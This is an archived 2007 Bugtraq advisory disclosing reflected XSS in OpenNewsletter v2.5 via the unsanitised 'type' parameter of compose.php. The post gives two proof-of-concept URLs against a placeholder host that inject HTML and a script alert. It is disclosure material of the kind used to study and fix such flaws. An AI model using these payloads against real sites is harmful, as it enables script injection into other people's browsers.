bugtraq - [XSS] OpenNewsletter v2.5 Multipe XSS Attacks

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [day] [month] [year] [list]

Message-ID: <1196962397.4758325dbb5d0@www.darkprotocols.net>
Date: Thu, 06 Dec 2007 14:33:17 -0300
From: bugtraq@...kprotocols.net
To: bugtraq@...urityfocus.com
Cc: bugtraq@...urityfocus.com, full-disclosure@...ts.grok.org.uk
Subject: [XSS] OpenNewsletter v2.5 Multipe XSS Attacks



Software: OpenNewsletter

Homepage: http://www.selfexile.com/projects/opennewsletter

Affected version: v2.5 and below

Overview: OpenNewsletter si a free, simple, and beautiful
open source newsletter solution aimed at small-medium scale.

Attack:

A non-existant sanitization when parsing the PHP value 'type'
on 'compose.php', leads to some XSS attacks.

PoC:

http://www.vulnhost.com/path/to/opennewsletter/compose.php?type=html'%3Ch1%3EXSS!%3C/h1%3E
http://www.vulnhost.com/path/to/opennewsletter/compose.php?type=';%3CSCRIPT%3Ealert(String.fromCharCode(88,%2083,%2083,%2032,%2058,%2040))//\';%3C/script%3E

Solution: not aware of at 12/6/2007.

Credits: Manu (manuuu@...kprotocols.net)



----------------------------------------------------------------
This message was sent using IMP, the Internet Messaging Program.